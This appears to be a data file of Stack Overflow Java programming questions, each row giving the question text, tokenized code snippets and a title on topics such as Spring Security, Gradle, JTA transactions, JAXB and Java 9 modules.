authentication-manager > < sec : authentication-provider ref= '' myCustomAuthenticationProvider '' / > < /sec : authentication-manager >,Should spring security filters call authentication providers directly ? +Java,Consider the following pseudo code that implements the MVP pattern : And here 's an alternative implementation of MVP pattern : Which one is more correct implementation of MVP pattern ? Why ?,interface Presenter { void onSendClicked ( ) ; } interface View { String getInput ( ) ; void showProgress ( ) ; void hideProgress ( ) ; } class PresenterImpl implements Presenter { // ... ignore other implementations void onSendClicked ( ) { String input = view.getInput ( ) ; view.showProgress ( ) ; repository.store ( input ) ; view.hideProgress ( ) ; } } class ViewImpl implements View { // ... ignore other implementations void onButtonClicked ( ) { presenter.onSendClicked ( ) ; } String getInput ( ) { return textBox.getInput ( ) ; } void showProgress ( ) { progressBar.show ( ) ; } void hideProgress ( ) { progressBar.hide ( ) ; } } interface Presenter { void saveInput ( String input ) ; } interface View { void showProgress ( ) ; void hideProgress ( ) ; } class PresenterImpl implements Presenter { // ... ignore other implementations void saveInput ( String input ) { view.showProgress ( ) ; repository.store ( input ) ; view.hideProgress ( ) ; } } class ViewImpl implements View { // ... ignore other implementations void onButtonClicked ( ) { String input = textBox.getInput ( ) ; presenter.saveInput ( intput ) ; } void showProgress ( ) { progressBar.show ( ) ; } void hideProgress ( ) { progressBar.hide ( ) ; } },MVP design pattern best practice +Java,"I have the following class in src/main/java/com/company/project/Config.java : so that in some other class I can do the following , knowing that the java compiler will strip the if ( ) statement if it evaluates to false : In Gradle , what is the best way to filter and change DEBUG value in Config.java at compile time without modifying the original file ? So far I 'm thinking : Create a task updateDebug ( type : Copy ) that filters DEBUG and copies Config.java to a temporary locationExclude from sourceSets the original Config.java file and include the temporary oneMake compileJava.dependsOn updateDebugIs the above possible ? Is there a better way ?",public class Config { public static final boolean DEBUG = true ; ... } import static com.company.project.Config.DEBUGif ( DEBUG ) { client.sendMessage ( `` something '' ) ; log.debug ( `` something '' ) ; },Filtering a Java class with Gradle +Java,"Possible Duplicate : How come invoking a ( static ) method on a null reference doesn ’ t throw NullPointerException ? Static fields on a null reference in Java I tried the code from this old video : Output : mainWell , just what the heck is that ? ! Does java.lang.Thread breach any the NullPointerException rule ? But what I 'm most interested in it : How can I make that variable behave to throw a NullPointerException ?",class Impossible { public static void main ( String [ ] args ) { Thread t = null ; System.out.println ( t.currentThread ( ) .getName ( ) ) ; } },Force method call on null variable to throw a NullPointerException +Java,I have implemented a Back-Button for all Activities except the MainActivity.My Problem is that i have a Back-Button in that MainActivity too.Hopefully I 've imported the right class : AndroidManifest : Why i get a Back-Button at MainActivity too ?,"import android.support.v4.app.NavUtils ; protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; getActionBar ( ) .setDisplayHomeAsUpEnabled ( true ) ; [ ... ] } @ Overridepublic boolean onOptionsItemSelected ( MenuItem item ) { // Handle action bar item clicks here . The action bar will // automatically handle clicks on the Home/Up button , so long // as you specify a parent activity in AndroidManifest.xml . int id = item.getItemId ( ) ; switch ( item.getItemId ( ) ) { case android.R.id.home : NavUtils.navigateUpFromSameTask ( this ) ; return true ; case R.id.ueber : startActivity ( new Intent ( this , menu_main_Activity.class ) ) ; return true ; } return super.onOptionsItemSelected ( item ) ; } < application android : allowBackup= '' true '' android : icon= '' @ mipmap/levox '' android : label= '' @ string/app_name '' android : theme= '' @ style/AppTheme '' > < activity android : name= '' .ListViewActivity '' android : label= '' @ string/app_name '' > < intent-filter > < action android : name= '' android.intent.action.MAIN '' / > < category android : name= '' android.intent.category.LAUNCHER '' / > < /intent-filter > < /activity > < activity android : name= '' .ListTasksActivity '' android : label= '' @ string/projekte '' android : parentActivityName= '' .ListViewActivity '' > < /activity > < activity android : name= '' .ListSingleTaskActivity '' android : label= '' @ string/tasks '' android : parentActivityName= '' .ListTasksActivity '' > < /activity > < activity android : name= '' .menu_main_Activity '' / > < /application >",Back Button in ActionBar at MainActivity +Java,"Spring MVC controller methods accespt different parameters that are injected before the method is invoked . Like HttpServletRequest , HttpServletResponse , java.security.Principal , etc.How can I declare something that can be injected in a controlelr method ? More on the specific case : I want to parse the HttpServletRequest in some servlet filter and construct an object that will be used in the controller method . More precisely I will parse a JWT token and access the claims .","@ RequestMapping ( `` /test '' ) public String test ( HttpServletRequest req , Principal user ) { } @ RequestMapping ( `` /test '' ) public String test ( MyCustomInjectable myInjectable ) { }",Spring MVC How to provide injectable for controller method +Java,"Consider simple exampleHere it 's pretty straightforward : if val > 0 return yes else return no.But after compilation , in bytecode , this if condition is reversed : It checks : if val < = 0 then return no , else return yes.First , I thought that < = check is cheaper , and it 's some kind of optimization . But if I change my initial code toit still will be reversed in bytecode : So , is there a reason for such behavior ? Can it be changed to straightforward ?",private static String isPositive ( int val ) { if ( val > 0 ) { return `` yes '' ; } else { return `` no '' ; } } private static isPositive ( I ) Ljava/lang/String ; L0 LINENUMBER 12 L0 ILOAD 0 IFLE L1 L2 LINENUMBER 13 L2 LDC `` yes '' ARETURN L1 LINENUMBER 15 L1 FRAME SAME LDC `` no '' ARETURN if ( val < = 0 ) { return `` no '' ; } else { return `` yes '' ; } L0 LINENUMBER 12 L0 ILOAD 0 IFGT L1 L2 LINENUMBER 13 L2 LDC `` no '' ARETURN L1 LINENUMBER 15 L1 FRAME SAME LDC `` yes '' ARETURN,Reversed if condition in java bytecode +Java,"I need to perform structural comparison on two Object [ ] arrays which may contain themselves : Unfortunately , the deepEquals does n't work in this case . The example above should yield true.Is there an algorithm which can reliably calculate this ? My idea is roughly as follows :","Object [ ] o1 = new Object [ ] { `` A '' , null } ; o1 [ 1 ] = o1 ; Object [ ] o2 = new Object [ ] { `` A '' , null } ; o2 [ 1 ] = o2 ; Arrays.deepEquals ( o1 , o2 ) ; // undefined behavior List < Object > xs = new ArrayList < > ( ) ; List < Object > ys = new ArrayList < > ( ) ; boolean equal ( Object [ ] o1 , Object [ ] o2 , List < Object > xs , List < Object > ys ) { xs.add ( o1 ) ; ys.add ( o2 ) ; boolean result = true ; for ( int i = 0 ; i < o1.length ; i++ ) { if ( o1 [ i ] instanceof Object [ ] ) { int idx1 = xs.lastIndexOf ( o1 [ i ] ) ; if ( idx1 > = 0 ) { idx1 = xs.size ( ) - idx1 - 1 ; } if ( o2 [ i ] instanceof Object [ ] ) { int idx2 = xs.lastIndexOf ( o2 [ i ] ) ; if ( idx2 > = 0 ) { idx2 = ys.size ( ) - idx2 - 1 ; } if ( idx1 == idx2 ) { if ( idx1 > = 0 ) { continue ; } if ( ! equal ( o1 [ i ] , o2 [ i ] , xs , ys ) ) { result = false ; break ; } } } } } xs.removeLast ( ) ; ys.removeLast ( ) ; return result ; }",Self-containing array deep equals +Java,"Some major JVM classes ( such as String or List implementations ) implement equals by returning Σ 31^n * field_n.hashCode ( ) for every field_n that is relevant for the equals method . Beside , this approach is recommended by Joshua Bloch in Effective Java ( item 9 ) .However , other classes such as Map.Entry implementations follow different rules . For example , the Map.Entry documentation states that the hash code of a Map.Entry should beThis can sometimes be impractical to use in hash tables , since : the hash code of all entries which have the same key and value is 0 , two entries e1 and e2 so that e1.key = e2.value and e1.value = e2.key have the same hash code.Why did Java choose this implementation specification for Map.Entry hashCode instead of , for example , 31 * ( e.getKey ( ) ==null ? 0 : e.getKey ( ) .hashCode ( ) ) + ( e.getValue ( ) ==null ? 0 : e.getValue ( ) .hashCode ( ) ) ? Edit 1 : To help figure out the problem , here is an example of useful code where the result has very poor performance due to hash collisions if many entries have the same key and value.This method computes the frequencies of the entries of different maps ( using Guava 's Multiset ) .","( e.getKey ( ) ==null ? 0 : e.getKey ( ) .hashCode ( ) ) ^ ( e.getValue ( ) ==null ? 0 : e.getValue ( ) .hashCode ( ) ) public static < K , V > Multiset < Map.Entry < K , V > > computeEntryCounts ( Iterable < Map < K , V > > maps ) { ImmutableMultiset.Builder < Map.Entry < K , V > > result = ImmutableMultiset.builder ( ) ; for ( Map < K , V > map : maps ) { for ( Map.Entry < K , V > entry : map.entrySet ( ) ) { result.add ( entry ) ; } } return result.build ( ) ; }",hashCode implementation strategies +Java,"I have a spring security config method . I want a particular method to be chained antMatchers ( `` /**/** '' ) .permitAll ( ) only if a condition matches . something like this { dev == true ? .antMatchers ( `` /**/** '' ) .permitAll ( ) : ( ) - > { } } . Ofcourse it 's not a valid syntax , what is the MOST CONSISE way of doing it . Looking for a menimum coding .","@ Override protected void configure ( HttpSecurity http ) throws Exception { http .csrf ( ) .disable ( ) .cors ( ) .disable ( ) .authorizeRequests ( ) { dev == true ? .antMatchers ( `` /**/** '' ) .permitAll ( ) : ( ) - > { } } //dev only . NEVER enable on prod .antMatchers ( `` / '' , `` /signup '' , `` /static/** '' , `` /api/sigin '' , `` /api/signup '' , `` **/favicon.ico '' ) .permitAll ( ) .anyRequest ( ) .authenticated ( ) .and ( ) .formLogin ( ) .loginPage ( `` / '' ) .loginProcessingUrl ( `` /api/signin '' ) .successHandler ( authSuccessHandler ( ) ) .failureHandler ( authFailureHandler ( ) ) .permitAll ( ) .and ( ) .logout ( ) .permitAll ( ) ; }",How to do Conditional Method chaining in Java 8 +Java,"In Kotlin , suppose , I have class : According to docs : Late-Initialized properties are also exposed as fields . The visibility of the field will be the same as the visibility of lateinit property setter.I can use in java code either myKotlinClass.field or myKotlinClass.getField ( ) . I want to disable field access and remain only access through getter and setter.How can I achieve this and remain lateinit modifier ?",class MyKotlinClass { lateinit var field : String },How to hide Kotlin 's lateinit var backing field from Java ? +Java,I was wondering how a nested class works in a for loop : will the object of the class be destroyed after every for interation ? will the instance of the class be destroyed automatically by `` garbage '' ? once the for loop finishes will the object from the nested class persist in memory ? can it be recalled from other places in the program ? This is the code :,class Outer { int outer_x = 100 ; void test ( ) { for ( int i=0 ; i < 10 ; i++ ) { class Inner { void display ( ) { System.out.println ( `` display : outer_x = `` + outer_x ) ; } } Inner inner = new Inner ( ) ; inner.display ( ) ; } } } class InnerClassDemo { public static void main ( String args [ ] ) { Outer outer = new Outer ( ) ; outer.test ( ) ; } },"Nested class in for loop , will there be n instances of the class ?" +Java,"I 've got an application with 3 distributed dataSources ( com.atomikos.jdbc.AtomikosDataSourceBean ) . I 'm using Atomikos transaction manager as JTA implementation . Every dataSource works with PostgreSQL database.Now , I 'm invoking my queries consequentially to each dataSource , and everything is working ok . I 'm wondering , if it is possible , using JTA , to invoke my queries in parallel ( multithreading , concurrently ) ? I 've tried simply to invoke query in newly created thread , using jdbcTemplate ( Spring ) . Firstly , I 've faced a spring issue . Spring stores the transactional context in ThreadLocal field , so it was n't resolved properly in my new thread ( Spring transaction manager and multithreading ) . I 've solved this issue , by setting same transactional context into newly created thread 's ThreadLocal.But the same issue I 'm facing in the Atomikos code . They also store the CompositeTransactionImp in the thread scoped map ( BaseTrancationManager # getCurrentTx ) . But in Atomikos case it is n't possible to set there values for new thread.So I ca n't perform my queries concurrently because it seems that Atomikos does n't support such approach . But I 've also looked through JTA specification and found their the following : `` Multiple threads may concurrently be associated with the same global transaction . '' ( `` 3.2 TransactionManager Interface '' , http : //download.oracle.com/otndocs/jcp/jta-1.1-spec-oth-JSpec/ ? submit=Download ) QUESTION : How can I invoke two or more queries to different dataSources concurrently , using JTA ( 2 phase commit ) , in scope of one global transaction ? DataSources config in tomcat context : Transaction manager config in spring context : Code :","< Resource name= '' jdbc/db1 '' auth= '' Container '' type= '' com.atomikos.jdbc.AtomikosDataSourceBean '' factory= '' com.company.package.AtomikosDataSourceBeanFactory '' xaDataSourceClassName= '' org.postgresql.xa.PGXADataSource '' xaProperties.serverName= '' localhost '' xaProperties.portNumber= '' 5451 '' xaProperties.databaseName= '' db1 '' uniqueResourceName= '' jdbc/db1 '' xaProperties.user= '' secretpassword '' xaProperties.password= '' secretpassword '' minPoolSize= '' 5 '' maxPoolSize= '' 10 '' testQuery= '' SELECT 1 '' / > < Resource name= '' jdbc/db2 '' auth= '' Container '' type= '' com.atomikos.jdbc.AtomikosDataSourceBean '' factory= '' com.company.package.AtomikosDataSourceBeanFactory '' xaDataSourceClassName= '' org.postgresql.xa.PGXADataSource '' xaProperties.serverName= '' localhost '' xaProperties.portNumber= '' 5451 '' xaProperties.databaseName= '' db2 '' uniqueResourceName= '' jdbc/db2 '' xaProperties.user= '' secretpassword '' xaProperties.password= '' secretpassword '' minPoolSize= '' 5 '' maxPoolSize= '' 10 '' testQuery= '' SELECT 1 '' / > < Resource name= '' jdbc/db3 '' auth= '' Container '' type= '' com.atomikos.jdbc.AtomikosDataSourceBean '' factory= '' com.company.package.AtomikosDataSourceBeanFactory '' xaDataSourceClassName= '' org.postgresql.xa.PGXADataSource '' xaProperties.serverName= '' localhost '' xaProperties.portNumber= '' 5451 '' xaProperties.databaseName= '' db3 '' uniqueResourceName= '' jdbc/db3 '' xaProperties.user= '' secretpassword '' xaProperties.password= '' secretpassword '' minPoolSize= '' 5 '' maxPoolSize= '' 10 '' testQuery= '' SELECT 1 '' / > < bean id= '' transactionManager '' class= '' com.atomikos.icatch.jta.UserTransactionManager '' init-method= '' init '' destroy-method= '' close '' lazy-init= '' true '' > < property name= '' forceShutdown '' value= '' false '' / > < /bean > final SqlParameterSource parameters = getSqlParameterSourceCreator ( ) .convert ( entity ) ; // Solving Spring 's ThreadLocal issue : saving thread local params final Map < Object , Object > resourceMap = TransactionSynchronizationManager.getResourceMap ( ) ; final List < TransactionSynchronization > synchronizations = TransactionSynchronizationManager.getSynchronizations ( ) ; final boolean actualTransactionActive = TransactionSynchronizationManager.isActualTransactionActive ( ) ; final String currentTransactionName = TransactionSynchronizationManager.getCurrentTransactionName ( ) ; final AtomicReference < Throwable > exceptionHolder = new AtomicReference < Throwable > ( ) ; // Running query in a separate thread . final Thread thread = new Thread ( new Runnable ( ) { @ Override public void run ( ) { try { // Solving Spring 's ThreadLocal issue : setting thread local values to newly created thread . for ( Map.Entry < Object , Object > entry : resourceMap.entrySet ( ) ) { TransactionSynchronizationManager.bindResource ( entry.getKey ( ) , entry.getValue ( ) ) ; } if ( synchronizations ! = null & & ! synchronizations.isEmpty ( ) ) { TransactionSynchronizationManager.initSynchronization ( ) ; for ( TransactionSynchronization synchronization : synchronizations ) { TransactionSynchronizationManager.registerSynchronization ( synchronization ) ; } } TransactionSynchronizationManager.setActualTransactionActive ( actualTransactionActive ) ; TransactionSynchronizationManager.setCurrentTransactionName ( currentTransactionName ) ; // Executing query . final String query = `` insert into ... '' ; NamedParameterJdbcTemplate template = new NamedParameterJdbcTemplate ( dataSourceOne ) ; template.update ( query , parameters ) ; } catch ( final Throwable ex ) { exceptionHolder.set ( ex ) ; } } } ) ; thread.start ( ) ; // ... same code as above for other dataSources . // allThreds.join ( ) ; - joining to all threads .","Invoking few queries to different data sources concurrently , using JTA , in scope of one global transaction" +Java,"I wonder if it is possible to write a `` select new '' query with a list as a parameter.For example , in one hand , I have a table `` father '' and a table `` children '' . A children has only one father and a father has multiple children . In the other hand , I have an object `` FatherDto '' which the constructor need a `` Father '' object and a list of children.Is is possible , in JPQL , to write something likeThe objective is to get , using only one query , a list of father with a list of children in it .","SELECT new FatherDto ( fat , childrenList ) FROM fat , ( select new Child ( ch ) from children ch where ... ) as childrenList from children childWHERE ...","In JPQL , is it possible to write a `` select new '' with a list as parameter ?" +Java,"In this example : doesntCompile ( ) fails to compile with : while compiles ( ) is accepted by the compiler.This answer explains that the only difference is that unlike < ? ... > , < T ... > lets you reference the type later , which does n't seem to be the case.What is the difference between < ? extends Number > and < T extends Number > in this case and why does n't the first compile ?","import java.util . * ; public class Example { static void doesntCompile ( Map < Integer , List < ? extends Number > > map ) { } static < T extends Number > void compiles ( Map < Integer , List < T > > map ) { } static void function ( List < ? extends Number > outer ) { doesntCompile ( new HashMap < Integer , List < Integer > > ( ) ) ; compiles ( new HashMap < Integer , List < Integer > > ( ) ) ; } } Example.java:9 : error : incompatible types : HashMap < Integer , List < Integer > > can not be converted to Map < Integer , List < ? extends Number > > doesntCompile ( new HashMap < Integer , List < Integer > > ( ) ) ; ^",What is the difference between < ? extends Base > and < T extends Base > ? +Java,1 ) How do they `` atomically '' set the value of `` o '' at position `` offset '' to `` x '' if `` value==expected '' ? 2 ) How do they `` lock '' the object when we use synchronized method or synchronized block ? I am just curious to know what goes under the hood .,"/** * Atomically update Java variable to < tt > x < /tt > if it is currently * holding < tt > expected < /tt > . * @ return < tt > true < /tt > if successful */ public final native boolean compareAndSwapObject ( Object o , long offset , Object expected , Object x ) ;",Unsafe sun class implementation +Java,There 's a stringHow do I split it into strings like this `` ggg ; ggg ; '' `` nnn ; nnn ; '' `` aaa ; aaa ; '' `` xxx ; xxx ; '' ? ? ? ? ? ? ?,String str = `` ggg ; ggg ; nnn ; nnn ; aaa ; aaa ; xxx ; xxx ; '' ;,How to split a string by every other separator +Java,Why this code will print int ?,public static void main ( String [ ] args ) { short s = 5 ; A ( s ) ; } public static void A ( int a ) { System.out.println ( `` int '' ) ; } public static void A ( Short a ) { System.out.println ( `` short '' ) ; },Overloading with Short and int +Java,"I 'm currently working on replacing a legacy system with JAXB and I 'm running into problem with parsing the XML . The number one requirement of the system is that it must be a drop-in replacement so I can not modify the format of the XML . Below is the XML section that is giving me trouble.The issue with the XML is that all of the s # objects are the exact same and there can be up to 256 of them . Is there a way in JAXB to annotate such a tag or do I have to create 256 separate annotations ? Any help would be most appreciated.Here is the java code for the xx object . Note : the object was originally programmed with the understanding that there would only be 2 s # objects , but that since has changed.And here is the XMLSite object :",< xx > < s1 > < X > -9999 < /X > < Y > -9999 < /Y > < /s1 > < s2 > < X > -9999 < /X > < Y > -9999 < /Y > < /s2 > < /xx > @ XmlRootElement ( name= '' xx '' ) public class XMLXx implements Serializable { private static final long serialVersionUID = 4064597372833234503L ; private XMLSite siteOne ; private XMLSite siteTwo ; @ XmlElement ( name= '' s1 '' ) public XMLSite getSiteOne ( ) { return siteOne ; } public void setSiteOne ( XMLSite s1 ) { this.siteOne = s1 ; } @ XmlElement ( name= '' s2 '' ) public XMLSite getSiteTwo ( ) { return siteTwo ; } public void setSiteTwo ( XMLSite s2 ) { this.siteTwo = s2 ; } } public class XMLSite implements Serializable { private static final long serialVersionUID = -4374405403222014476L ; private Integer x ; private Integer y ; @ XmlElement ( name= '' X '' ) public Integer getX ( ) { return x ; } public void setX ( Integer x ) { this.x = x ; } @ XmlElement ( name= '' Y '' ) public Integer getY ( ) { return y ; } public void setY ( Integer y ) { this.y = y ; } },Dealing with poorly designed XML with JAXB +Java,"I am essentially asking the exact same question here . As you can see , there are no solid answers . All I want to do is send a file using HTTPUnit to test a java servlet.So , I have a Java Servlet with this code ( dumbed down ) : Here is the important part of my test case : When I run this , I get this error : Just for kick , if I change line 68 to this ( a normal parameter ) : I get this error ( from within my servlet my the way ) : I do n't know why it wont let me add the file.Any suggestions ? ? EDIT : I am trying to submit this using a form from a local html file . I am loading the form in successfully but am getting a 404 . Here is my form declaration.Updated test code :","@ WebServlet ( `` /properties/StorePropertyAttachment '' ) @ MultipartConfigpublic class StorePropertyAttachment { @ Override public void doPost ( HttpServletRequest req , HttpServletResponse resp ) throws IOException , ServletException { final Part p = req.getPart ( `` propertyImage '' ) ; ... . } } ServletRunner servletRunner = new ServletRunner ( ) ; servletRunner.registerServlet ( `` StorePropertyAttachment '' , StorePropertyAttachment.class.getName ( ) ) ; WebRequest webRequest = new PostMethodWebRequest ( WEB_REQUEST_BASE_URL + STORE_PROPERTIES_ENDPOINT ) ; UploadFileSpec spec = new UploadFileSpec ( new File ( `` C : /test.jpg '' ) , `` multipart/form-data '' ) ; webRequest.setParameter ( `` propertyImage '' , new UploadFileSpec [ ] { spec } ) ; ^^^^^ line 68 ^^^^^ ServletUnitClient servletClient = servletRunner.newClient ( ) ; WebResponse webResponse = servletClient.getResponse ( webRequest ) ; com.meterware.httpunit.IllegalNonFileParameterException : Parameter 'propertyImage ' is not a file parameter and may not be set to a file value . at com.meterware.httpunit.WebRequest.setParameter ( WebRequest.java:232 ) at com.amsgeo.mspworkmanager.services.properties.PropertyAttachmentTest.test ( PropertyAttachmentTest.java:68 ) ... . webRequest.setParameter ( `` propertyImage '' , `` some string '' ) ; java.lang.AbstractMethodError : com.meterware.servletunit.ServletUnitHttpRequest.getPart ( Ljava/lang/String ; ) Ljavax/servlet/http/Part ; at com.amsgeo.mspworkmanager.services.properties.StorePropertyAttachment.doPost ( StorePropertyAttachment.java:40 ) at javax.servlet.http.HttpServlet.service ( HttpServlet.java:647 ) at com.amsgeo.webapi.services.ServiceStub.service ( ServiceStub.java:64 ) at javax.servlet.http.HttpServlet.service ( HttpServlet.java:728 ) at com.meterware.servletunit.InvocationContextImpl.service ( InvocationContextImpl.java:76 ) at com.meterware.servletunit.ServletUnitClient.newResponse ( ServletUnitClient.java:126 ) at com.meterware.httpunit.WebClient.createResponse ( WebClient.java:647 ) at com.meterware.httpunit.WebWindow.getResource ( WebWindow.java:220 ) at com.meterware.httpunit.WebWindow.getSubframeResponse ( WebWindow.java:181 ) at com.meterware.httpunit.WebWindow.getResponse ( WebWindow.java:158 ) at com.meterware.httpunit.WebClient.getResponse ( WebClient.java:122 ) at com.amsgeo.mspworkmanager.services.properties.PropertyAttachmentTest.testNoParam ( PropertyAttachmentTest.java:70 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) ... . < form method= '' POST '' action= '' http : //localhost/StorePropertyAttachment '' enctype= '' multipart/form-data '' name= '' propertyImageTest '' > < input type= '' file '' name= '' propertyImage '' / > < input type= '' submit '' / > < /form > ServletRunner servletRunner = new ServletRunner ( ) ; servletRunner.registerServlet ( `` StorePropertyAttachment '' , StorePropertyAttachment.class.getName ( ) ) ; WebConversation conversation = new WebConversation ( ) ; WebRequest request = new GetMethodWebRequest ( `` file : /C : /test.html '' ) ; WebResponse response = conversation.getResponse ( request ) ; WebForm form = response.getFormWithName ( `` propertyImageTest '' ) ; UploadFileSpec uploadFileSpec = new UploadFileSpec ( new File ( `` C : /test.jpg '' ) , `` image/jpeg '' ) ; form.setParameter ( `` propertyImage '' , new UploadFileSpec [ ] { uploadFileSpec } ) ; WebResponse webResponse = form.submit ( ) ;",How to send Multipart request with Httpunit in Java +Java,"In Java , If I want to use a method without creating an instance object of a specific class I use static imports . Something like : I can then call methods from that class in aother class without creating an instance of SomeClass . Once I use a method from that class , is the constructor from that class called as well ? For example , if I callDoes the constructor get called for SomeClass behind the scenes ?",import static com.company.SomeClass . * ; SomeClass.doStuff ( ) ;,Static Imports and Constructors +Java,I need an explanation for how the above results can be reached . I have no difficulties in solving with positive integers .,-4 & -5 = -8 // How ? -4 & 5 = 4 // How ?,How do negative operands to bitwise operators work in Java ? +Java,"I have a program that takes user input and prints that many palindromic primes ( 10 per line only and should be evenly spaced ) . I was printing the values directly and it was working fine , but the numbers are not evenly spaced . So I decided to store them into an array in hopes that they would print out evenly spaced . But now no values are printing . Can someone please point out where I made a mistake ? Here is part of the code :","public static void main ( String [ ] args ) { Scanner scan = new Scanner ( System.in ) ; System.out.print ( `` Print how many values ? `` ) ; int input = scan.nextInt ( ) ; int [ ] palPrimes = new int [ input ] ; int count = 1 , val = 2 ; while ( count < = input ) { if ( isPrime ( val ) & & isPalindrome ( val ) ) { palPrimes [ count-1 ] = val ; } val++ ; } for ( int i = 0 ; i < palPrimes.length ; i++ ) { if ( i % 10 == 0 ) System.out.println ( ) ; System.out.print ( palPrimes [ i ] + `` `` ) ; } }",Print contents of array with even spacing +Java,Can someone explain to me why I am getting a NullPointerException in the getRowCount ( ) method ? The variable is initialized with an empty ArrayList ...,"public class BeschriftungssetTableModel extends DefaultTableModel { private static final long serialVersionUID = -4980235976337188354L ; private List < BeschriftungssetBean > data = new ArrayList < > ( ) ; public void setData ( List < BeschriftungssetBean > data ) { this.data = data ; } @ Override public int getColumnCount ( ) { return 1 ; } @ Override public int getRowCount ( ) { return data.size ( ) ; } @ Override public Object getValueAt ( int row , int column ) { return data.get ( row ) .getBezeichnung ( ) ; } @ Override public String getColumnName ( int column ) { return `` Bezeichnung '' ; } public static void main ( String [ ] args ) { BeschriftungssetTableModel beschriftungssetTableModel = new BeschriftungssetTableModel ( ) ; beschriftungssetTableModel.getRowCount ( ) ; } } public class BeschriftungssetBean { private String objId ; private String bezeichnung ; public String getBezeichnung ( ) { return bezeichnung ; } public void setBezeichnung ( String bezeichnung ) { this.bezeichnung = bezeichnung ; } public String getObjId ( ) { return objId ; } public void setObjId ( String objId ) { this.objId = objId ; } } Exception in thread `` main '' java.lang.NullPointerExceptionat ch.aaa.xxx.yyy.gruppen.plugin.anzeige.beschriftungseinstellungen.BeschriftungssetTableModel.getRowCount ( BeschriftungssetTableModel.java:36 ) at javax.swing.table.DefaultTableModel.setDataVector ( DefaultTableModel.java:224 ) at javax.swing.table.DefaultTableModel. < init > ( DefaultTableModel.java:124 ) at javax.swing.table.DefaultTableModel. < init > ( DefaultTableModel.java:106 ) at javax.swing.table.DefaultTableModel. < init > ( DefaultTableModel.java:86 ) at ch.aaa.xxx.yyy.gruppen.plugin.anzeige.beschriftungseinstellungen.BeschriftungssetTableModel. < init > ( BeschriftungssetTableModel.java:18 ) at ch.aaa.xxx.yyy.gruppen.plugin.anzeige.beschriftungseinstellungen.BeschriftungssetTableModel.main ( BeschriftungssetTableModel.java:50 )",NPE with initialized variable +Java,"So Java 9 is there , soon to be followed by Java 10 . Time we should make our libraries ready for use in Java 9 projects . I did it in the following way : provide a module-info.javaadded the ( experimental ) jigsaw plugin in build.gradleManually made changes according to the guide on the gradle site instead of using the jigsaw plugin.So far , both approaches work fine , and I can use the generated Jar in Java 9 projects.The problem is , the resulting Jar is not compatible with Java 8 although I used no Java 9 features except the module-info.java . When I set targetCompatibility = 8 , an error message tells me to also set sourceCompatibility = 8 accordingly . Which then rejects the module-info.java for which I should set sourceCompatibility = 9.How can this be solved ? I removed the jigsaw plugin again , and tried this , but am stuck : set sourceCompatibility = 8 and targetCompatibility = 8 create a new source set moduleInfo that contains the single file module-info.javaset sourceCompatibility = 9 and targetCompatibility = 9 for the new sourcesetNow compilation works , and Gradle uses Java 9 when it tries to compile the module-info.java . However , modules ( in this case log4j ) are missing , and I get this error : This is the build.gradle used ( Gradle version is 4.5.1 ) : And this is module-info.java :",": compileJava UP-TO-DATE : processResources NO-SOURCE : classes UP-TO-DATE : jar UP-TO-DATE : sourcesJar UP-TO-DATE : assemble UP-TO-DATE : spotbugsMain UP-TO-DATE : compileModuleInfoJavaclasspath : compilerArgs : [ -- module-path , , -- add-modules , ALL-SYSTEM ] D : \git\utility\src\module-info\java\module-info.java:14 : error : module not found : org.apache.logging.log4j requires org.apache.logging.log4j ; ^warning : using incubating module ( s ) : jdk.incubator.httpclient1 error1 warning : compileModuleInfoJava FAILEDFAILURE : Build failed with an exception . * What went wrong : Execution failed for task ' : compileModuleInfoJava'. > Compilation failed ; see the compiler error output for details . * Try : Run with -- stacktrace option to get the stack trace . Run with -- info or -- debug option to get more log output . Run with -- scan to get full insights . * Get more help at https : //help.gradle.orgBUILD FAILED in 1s5 actionable tasks : 1 executed , 4 up-to-date plugins { id `` com.github.spotbugs '' version `` 1.6.0 '' } apply plugin : 'maven'apply plugin : 'maven-publish'apply plugin : 'java-library'apply plugin : 'com.github.spotbugs'sourceCompatibility = 8targetCompatibility = 8group = 'com.dua3.utility'repositories { mavenLocal ( ) jcenter ( ) } dependencies { compile group : 'org.apache.logging.log4j ' , name : 'log4j-api ' , version : ' 2.10.0 ' testRuntime group : 'org.apache.logging.log4j ' , name : 'log4j-core ' , version : ' 2.10.0 ' // Use JUnit test framework testImplementation 'junit : junit:4.12 ' } ext.moduleName = 'com.dua3.utility ' sourceSets { moduleInfo { java { srcDir 'src/module-info/java ' } } } compileModuleInfoJava { sourceCompatibility = 9 targetCompatibility = 9 inputs.property ( `` moduleName '' , moduleName ) doFirst { options.compilerArgs = [ ' -- module-path ' , classpath.asPath , ' -- add-modules ' , 'ALL-SYSTEM ' ] classpath = files ( ) System.out.println ( `` classpath : `` +classpath.asPath ) System.out.println ( `` compilerArgs : `` +options.compilerArgs ) } } tasks.withType ( com.github.spotbugs.SpotBugsTask ) { reports { xml.enabled false html.enabled true } } task sourcesJar ( type : Jar , dependsOn : classes ) { classifier = 'sources ' from sourceSets.main.allSource } task javadocJar ( type : Jar , dependsOn : javadoc ) { classifier = 'javadoc ' from javadoc.destinationDir } artifacts { archives sourcesJar// fails with jigsaw : archives javadocJar } defaultTasks 'build ' , 'publishToMavenLocal ' , 'install ' module com.dua3.utility { exports com.dua3.utility ; exports com.dua3.utility.io ; exports com.dua3.utility.jfx ; exports com.dua3.utility.swing ; exports com.dua3.utility.lang ; exports com.dua3.utility.math ; exports com.dua3.utility.text ; requires javafx.controls ; requires javafx.web ; requires java.xml ; requires java.desktop ; requires org.apache.logging.log4j ; }",Gradle : Building a modularized library that is compatible with Java 8 +Java,"I want to be sure that a String contains only alpha characters ( with special character like `` é '' , `` è '' , `` ç '' , `` Ç '' , `` ï '' , etc etc . ) .I did that , but with special characters returns false ... Thanks guys !",if ( myString.matches ( `` ^ [ a-zA-Z ] + $ '' ) ) { return true ; },Java : String pattern : how to specify regex for all alpha characters with special characters +Java,I want to : '' Restore '' means open previously closed activity without re-creating . How can i do that ? Thanks !,"open 1 , 2 , 3 activities1 > 2 > 3 back to # 21 > 2open # 4 activity1 > 2 > 4back to # 21 > 2restore # 3 activity1 > 2 > 3",how to close activity without actually finishing ? +Java,"I hava a java program , a section of it is compute intensive , like thisI want to split it into multithread , make it faster when running.COMPUTE INTENSIVE SECTION is not sequential-wise . It means running i=1 first or i=5 fist are the same ... Can anybody give me a grand guide about this . How to do it ? Thanks indeed ! Happy Thanksgiving !",for i = 1 :512 COMPUTE INTENSIVE SECTIONend,How to multithread a computationally intensive code 